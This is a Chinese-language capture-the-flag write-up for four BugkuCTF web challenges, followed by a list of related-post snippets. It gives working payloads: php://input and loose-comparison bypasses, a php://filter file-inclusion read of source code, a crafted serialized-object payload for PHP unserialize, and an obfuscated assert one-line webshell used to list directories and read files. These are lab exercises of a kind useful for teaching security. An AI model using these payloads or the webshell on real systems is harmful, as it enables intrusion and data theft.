1. 程式人生 > >bugkuCTF Writeup (Web)26-29

bugkuCTF Writeup (Web)26-29

never give up

這裡寫圖片描述
看原始碼,有提示<!--1p.html-->
去看1p.html的原始碼


<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord(); // -->
</SCRIPT> </HEAD> <BODY> </BODY> </HTML>

Words變數的值先url解碼,再base64解碼,再url解碼,得

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET
['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="
bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "
never never never give up !!!"; } ?>

繞過:payload:http://120.24.86.145:8006/test/hello.php?id=0sdvdsd&a=php://input&b=.sdfasdfsdafsdfrdfgsdgasdftgssd
postdata:bugku is a nice plateform!
得flag:
這裡寫圖片描述

welcome to bugkuctf

這裡寫圖片描述
檢視網頁原始碼,發現是php程式碼審計

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

檔案包含漏洞,要用include函式看hint.php的內容
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password
postdata帶上welcome to the bugkuctf
提交,顯示了這個
這裡寫圖片描述
似乎還是一樣的,那就看index.php吧
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=index.php&password
postdata帶上welcome to the bugkuctf
提交,得無數個hello friend
這裡寫圖片描述
不明所以,繼續去看flag.php,發現作者很狡猾
這裡寫圖片描述
看來不能讓hint.php執行
所以payload:http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter//read=convert.base64-encode/resource=./hint.php&password=
postdata帶上welcome to the bugkuctf
獲得hint.php原始碼的base64編碼,解碼得:

<?php 

class Flag{//flag.php
    public $file;  
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}  
?> 

再去看index.php原始碼(不讓它執行)

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
        echo "\xe4\xb8\x8d\xe8\x83\xbd\xe7\x8e\xb0\xe5\x9c\xa8\xe5\xb0\xb1\xe7\xbb\x99\xe4\xbd\xa0flag\xe5\x93\xa6";
        exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}else{
    echo "you are not the number of bugku ! ";
}
?>

這就好辦了,傳入引數password,要傳入一個Flag類物件的序列化值,當然file屬性是”flag.php”了
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
postdata帶上welcome to the bugkuctf,獲得flag
這裡寫圖片描述

login1

這個一直沒開啟,就先跳過去了

過狗一句話

這裡寫圖片描述
題目提示裡的php程式碼拿下來

<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

用assert執行任意程式碼
這就很自由了
payload:http://120.24.86.145:8010/?s=print_r(scandir('./')); 掃描目錄
這裡寫圖片描述
然後讀取flag.txt
payload:http://120.24.86.145:8010/?s=print_r(file_get_contents('flag.txt'));
這裡寫圖片描述

相關推薦

bugkuCTF Writeup Web26-29

never give up 看原始碼,有提示<!--1p.html--> 去看1p.html的原始碼 <HTML> <HEAD> <SCRIPT LANGUAGE="Javascript"> <!

bugkuCTF Writeup Web10-14

SQL注入1 程式碼審計 先過濾sql關鍵字,再過濾xss(實際上就是刪除一些html標籤),這個順序就很好辦了,把HTML標籤插到sql關鍵字裡面,就繞過了第一個過濾,第二個過濾之後就還原

bugkuCTF Writeup Web31-35

各種繞過喲 程式碼審計 <?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}';

bugkuCTF Writeup Web41-44

這是一個神奇的登陸框 登陸框注入 之前注入的分隔符都用的是單引號‘,這道題特立獨行用的是雙引號。 又發現有報錯的回顯,於是報錯注入: 一開始使用的updatexml和extractval

Bugku writeupweb6【域名解析】

【域名解析】 域名解析需要修改本機的hosts檔案,我們可以通過linux來完成題目 通過管理員許可權,開啟hosts檔案 如圖,將域名和ip新增至hosts檔案。 然後直接訪問flag.bugku.com即可得到flag值

軟件工程概論課堂測試一————添加新課程web

.get submit use dex sub ava getclass .com title 設計思想 三個文件Class_add.java add.jsp addInput.jsp Class_add.java : 內封裝方法:連接數據庫、向數據庫添加課程信息、判斷

Linux APache web安裝

Linux APache web httpd 一,Apache簡介 “Apache HTTP Server”是開源軟件項目的傑出代表,基於標準的HTTP網絡協議提供網頁瀏覽服務,在Web服務器領域中長期保持著超過半數的份額。Apache服務器可以運行在Linux,UNIX,Windows

linux應用與安web

linux運維web服務器1、卸載原來已經存在的httpd2、插入光盤:Benet 5.0所需軟件\linux安全及高級應用\rhel-server-6.5-x86_64-dvd.iso3、源碼編譯安裝httpd,下圖為: 1)解包 2)配置4、編譯和安裝下圖為安裝編譯和安裝過程中的狀態,這裏將會等待幾

獲取JAVAWEB專案路徑的方法

最近的專案涉及了檔案上傳的功能,不可避免的需要獲得檔案路徑的方法。 下面是關於獲取檔案路徑的一些方法。 對於獲取檔案路徑,在Jsp,Servlet,Java中,有不同的方法。 在java類中: 獲取當前的classpath的絕對URI路徑

如何用ESP8266實現網頁配置web

準備工作    準備一個深圳四博智聯科技有限公司的ESP-F 模組。或者四博智聯科技的NODEMCU           當我們拿到ESP-F模組後,可以按照以下接線進行測試:    即 VCC、EN 接 3.3v、GPIO15 GND 接地

中小型公司節目控制功能元件開發WEB

1. 專案需求: (1)按照IOS已上架應用Skylander  IPAD版本功能對應開發功能一樣的WEB版 (2)核心功能:節目編輯、節目控制 2. IOS專案部分預覽圖:   3.當前開發頁面為節目控制頁面: (1)需要開發頁面:節目控制頁

JasperReport學習筆記4-查詢資料庫生成動態的報表WEB

分兩種方法  第一種  1.模版  Xml程式碼   <?xml version="1.0" encoding="UTF-8"?>   <!DOCTYPE jasperReport PUBLIC "//Jaspe

bugku misc writeup部分

   題目給了一個stego100.wav(音訊檔案),然後Audacity開啟,一共有兩欄,上面那一欄有一些不規則的小段,把這些小段放大,每一個小段都是有寬窄相間的小段組成,把寬的想象成—,窄的想象成".",然後你就會發現這是摩斯電碼(..... -... -.-. ----. ..--- ..... -

CTF考核writeup1

在sql注入、檔案上傳和檔案包含問題上,可以學到一些新思路。 sql注入 觀察題目連結,很明顯,存在注入的是id。於是利用sqlmap驗證,但sqlmap的結果卻是“not injectble”: 注意到連結中id值是‘MQ==’。明顯引數是經過base6

JasperReport學習筆記5-其它資料生成動態的報表WEB

1.空資料(Empty Datasources) 就是說JRXML檔案裡面的內容都是靜態的,直接使用  JREmptyDataSource就行了 Java程式碼   JasperRunManager.runReportToPdfStre

關於Unity開啟網頁問題Web

對於PC端而言,開啟只需要Application.OpenURL(pathURL);(pathURL為網址),但若釋出為Web版本,則該方法並不適用。 便可以用Application.ExternalEval("window.open('http://math.xpu.ow

Windows server 2016 搭建IISweb服務

聯系方式 網上 web服務器 微信 1.5 RoCE server 通過 mark 今天跟大家簡單介紹一下如何在Windows server 2016服務器上搭建IIS(web)服務。web服務即www服務(萬維網服務),是指在網上發布,並可以通過瀏覽器觀看圖形化頁面的服務

強網杯ctf pwn&re writeup 部分

打了2天的強網杯,雖然一度衝進了前10。可惜最後的時候還是掉出了20名。最後只能無奈打出GG。其中的原因有很多,也不想多說了。 逆向溢位題3連發。我就只會那麼多了Orz 先來一道re200 kergen 傳送24位的字串,主要是400B56處的檢

Bugku——成績單web

可以大概判斷出有四個欄位 直接上payload -1' union select 1,2,3,database()# -1' union select 1,2,3,group_concat(

CTF——南郵攻防平臺web

一、簽到題 火狐瀏覽器中開啟頁面,F12開啟開發人員工具檢視網頁原始碼,發現flag: 二、md5 collision 題目所給的php原始碼如下: <?php $md51 = md5('QNKCDZO'); $a = @$_GET['